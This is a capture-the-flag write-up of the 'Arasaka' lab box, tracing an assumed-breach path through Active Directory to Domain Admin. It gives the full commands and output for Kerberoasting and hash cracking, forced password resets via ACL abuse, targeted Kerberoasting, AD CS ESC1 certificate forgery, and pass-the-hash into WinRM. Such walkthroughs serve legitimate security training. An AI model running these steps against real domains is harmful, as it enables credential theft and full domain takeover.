Box: Hack Smarter — Arasaka · OS: Windows Server 2022 · Theme: Assumed-breach AD → Kerberoast → ACL abuse → AD CS ESC1 → DA
Assumed-breach AD box (hacksmarter.local, single DC, Cyberpunk-themed). Full chain: Kerberoast → BloodHound-guided ACL abuse → targeted Kerberoast → AD CS ESC1 → Domain Admin. Started with one low-priv credential, finished with root.txt.
- Target:
10.1.149.144(DC01.hacksmarter.local) - Given creds:
faraday:hacksmarter123
Recon
┌──(kali㉿kali)-[~/Desktop/Hack Smarter/Arasaka]
└─$ rustscan -a 10.1.149.144 -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
Open 10.1.149.144:53,88,135,139,389,445,464,593,636,3389,5985,9389
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: hacksmarter.local)
|_ssl-cert: commonName=DC01.hacksmarter.local | Issuer: hacksmarter-DC01-CA
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
636/tcp open ssl/ldap Microsoft Windows AD LDAP
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: hacksmarter.local
| DNS_Computer_Name: DC01.hacksmarter.local
|_ Product_Version: 10.0.20348
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open mc-nmf .NET Message Framing
Host script results:
| smb2-security-mode:
|_ Message signing enabled and required
Service Info: Host: DC01; OS: Windows Server 2022 Build 20348
Textbook domain controller — DNS/Kerberos/LDAP/GC, plus WinRM (5985) and RDP (3389). Domain is hacksmarter.local, host DC01, Server 2022. The LDAP cert issuer hacksmarter-DC01-CA tells me AD CS is in play. WinRM being open means any account I recover could give me a shell.
Enumeration
Synced clock to the DC first — Kerberos is fussy about time skew:
└─$ sudo ntpdate 10.1.149.144
2026-09-06 16:29:33.610417 (+0000) +0.351166 +/- 0.119508 10.1.149.144 s4 no-leap
Validated the given credential, then dumped domain users:
└─$ nxc smb hacksmarter.local -u faraday -p 'hacksmarter123'
SMB 10.1.149.144 445 DC01 [+] hacksmarter.local\faraday:hacksmarter123
└─$ nxc smb 10.1.149.144 -u faraday -p 'hacksmarter123' --users | awk '...' > usernames.txt
└─$ cat usernames.txt
Administrator
Guest
krbtgt
Goro
alt.svc
Yorinobu
Hanako
Faraday
Smasher
Soulkiller.svc
Hellman
kei.svc
Silverhand.svc
Oda
the_emperor
Confirmed 13 of 15 valid with kerbrute:
└─$ kerbrute userenum -d hacksmarter.local --dc 10.1.149.144 usernames.txt
[+] VALID USERNAME: Yorinobu@hacksmarter.local
[+] VALID USERNAME: Administrator@hacksmarter.local
[+] VALID USERNAME: Goro@hacksmarter.local
[+] VALID USERNAME: Smasher@hacksmarter.local
[+] VALID USERNAME: alt.svc@hacksmarter.local
[+] VALID USERNAME: Faraday@hacksmarter.local
[+] VALID USERNAME: Hanako@hacksmarter.local
[+] VALID USERNAME: Soulkiller.svc@hacksmarter.local
[+] VALID USERNAME: Oda@hacksmarter.local
[+] VALID USERNAME: Silverhand.svc@hacksmarter.local
[+] VALID USERNAME: the_emperor@hacksmarter.local
[+] VALID USERNAME: Hellman@hacksmarter.local
[+] VALID USERNAME: kei.svc@hacksmarter.local
Done! Tested 15 usernames (13 valid) in 5.631 seconds
Kerberoasting
faraday can request service tickets. Roasted — one SPN account returned: alt.svc:
└─$ impacket-GetUserSPNs 'hacksmarter.local/faraday:hacksmarter123' -dc-ip 10.1.149.144
ServicePrincipalName Name PasswordLastSet
------------------------------ ------- --------------------------
AI/blackwall.hacksmarter.local alt.svc 2025-09-21 15:07:42.894050
└─$ impacket-GetUserSPNs 'hacksmarter.local/faraday:hacksmarter123' -dc-ip 10.1.149.144 -request -outputfile kerberoast.txt
$krb5tgs$23$*alt.svc$HACKSMARTER.LOCAL$hacksmarter.local/alt.svc*$764063a9d78ff16f...[snip]
Cracked with rockyou:
└─$ hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*alt.svc$HACKSMARTER.LOCAL$...[snip]:babygirl1
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Recovered........: 1/1 (100.00%)
→ alt.svc:babygirl1
BloodHound
Collected with faraday to map the path forward:
└─$ nxc ldap hacksmarter.local -u faraday -p 'hacksmarter123' --bloodhound --collection All --dns-server 10.1.149.144
LDAP 10.1.149.144 389 DC01 Resolved collection methods: acl, adcs, container, dcom, group, localadmin, loggedon, objectprops, psremote, rdp, session, trusts
LDAP 10.1.149.144 389 DC01 Bloodhound data collection completed in 1M 17S
LDAP 10.1.149.144 389 DC01 Found 34 certificate templates
LDAP 10.1.149.144 389 DC01 Found 1 Enterprise CAs
BloodHound revealed the attack path:
alt.svc ─ForceChangePassword→ Yorinobu ─GenericWrite→ Soulkiller.svc → AD CS ESC1 → DA
alt.svc → Yorinobu (ForceChangePassword)
alt.svc has the right to force-reset Yorinobu’s password:
└─$ bloodyAD --host 10.1.149.144 -d hacksmarter.local -u 'alt.svc' -p 'babygirl1' set password Yorinobu 'Yorinobu@123!'
[+] Password changed successfully!
└─$ nxc smb 10.1.149.144 -u 'Yorinobu' -p 'Yorinobu@123!' --shares
SMB 10.1.149.144 445 DC01 [+] hacksmarter.local\Yorinobu:Yorinobu@123!
Yorinobu → Soulkiller.svc (Targeted Kerberoast)
Yorinobu has GenericWrite over Soulkiller.svc, which means I can write an SPN to it and Kerberoast it. targetedKerberoast.py automates the write → roast → cleanup:
└─$ python3 targetedKerberoast.py -d hacksmarter.local -u 'Yorinobu' -p 'Yorinobu@123!' -v
[VERBOSE] SPN added successfully for (Soulkiller.svc)
[+] Printing hash for (Soulkiller.svc)
$krb5tgs$23$*Soulkiller.svc$HACKSMARTER.LOCAL$...[snip]
[VERBOSE] SPN removed successfully for (Soulkiller.svc)
└─$ hashcat -m 13100 soulkiller.hash /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*Soulkiller.svc$...[snip]:MYpassword123#
Status...........: Cracked
Recovered........: 1/1 (100.00%)
→ Soulkiller.svc:MYpassword123#
Soulkiller.svc → Domain Admin (AD CS ESC1)
Validated Soulkiller.svc, then scanned for vulnerable cert templates:
└─$ certipy-ad find -u soulkiller.svc@hacksmarter.local -p 'MYpassword123#' -dc-ip 10.1.149.144 -vulnerable
[*] Found 34 certificate templates
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
The AI_Takeover template is ESC1 — it allows the enrollee to supply an arbitrary UPN in the cert request (no manager approval, client auth EKU). Requested a cert as Administrator:
└─$ certipy-ad req -u 'soulkiller.svc@hacksmarter.local' -p 'MYpassword123#' -dc-ip 10.1.149.144 \
-ca 'hacksmarter-DC01-CA' -template 'AI_Takeover' -upn 'administrator@hacksmarter.local'
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@hacksmarter.local'
[*] Saving certificate and private key to 'administrator.pfx'
└─$ certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.149.144
[-] Got error while trying to request TGT: KDC_ERR_KEY_EXPIRED(Password has expired; change password to reset)
Administrator’s password is expired — PKINIT auth fails. Re-ran the same ESC1 request targeting the_emperor instead:
└─$ certipy-ad req -u 'soulkiller.svc@hacksmarter.local' -p 'MYpassword123#' -dc-ip 10.1.149.144 \
-ca 'hacksmarter-DC01-CA' -template 'AI_Takeover' -upn 'the_emperor@hacksmarter.local'
└─$ certipy-ad auth -pfx the_emperor.pfx -dc-ip 10.1.149.144
[*] SAN UPN: 'THE_EMPEROR@hacksmarter.local'
[*] Got TGT
[*] Trying to retrieve NT hash for 'the_emperor'
[*] Got hash for 'the_emperor@hacksmarter.local': aad3b435b51404eeaad3b435b51404ee:d87640b0d83dc7f90f5f30bd6789b133
Domain Admin → root
the_emperor’s hash is Pwn3d! on the DC. Pass-the-hash into WinRM:
└─$ nxc smb 10.1.149.144 -u 'the_emperor' -H 'd87640b0d83dc7f90f5f30bd6789b133'
SMB 10.1.149.144 445 DC01 [+] hacksmarter.local\the_emperor:...d6789b133 (Pwn3d!)
└─$ evil-winrm -i 10.1.149.144 -u 'the_emperor' -H 'd87640b0d83dc7f90f5f30bd6789b133'
*Evil-WinRM* PS C:\Users\the_emperor\Documents>
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
fcf1dd0f08d1068a2f151fd2ec5ecf05
root.txt: fcf1dd0f08d1068a2f151fd2ec5ecf05
TL;DR
faraday(given) → enum users → Kerberoast →alt.svc:babygirl1- BloodHound:
alt.svc─ForceChangePassword→Yorinobu─GenericWrite→Soulkiller.svc - Reset
Yorinobu→ targeted Kerberoast →Soulkiller.svc:MYpassword123# Soulkiller.svcenrolls inAI_Takeovertemplate (AD CS ESC1) → cert asthe_emperor→ NT hash (Administrator cert was useless — expired password)the_emperoris Domain Admin → PtH → evil-winrm →root.txt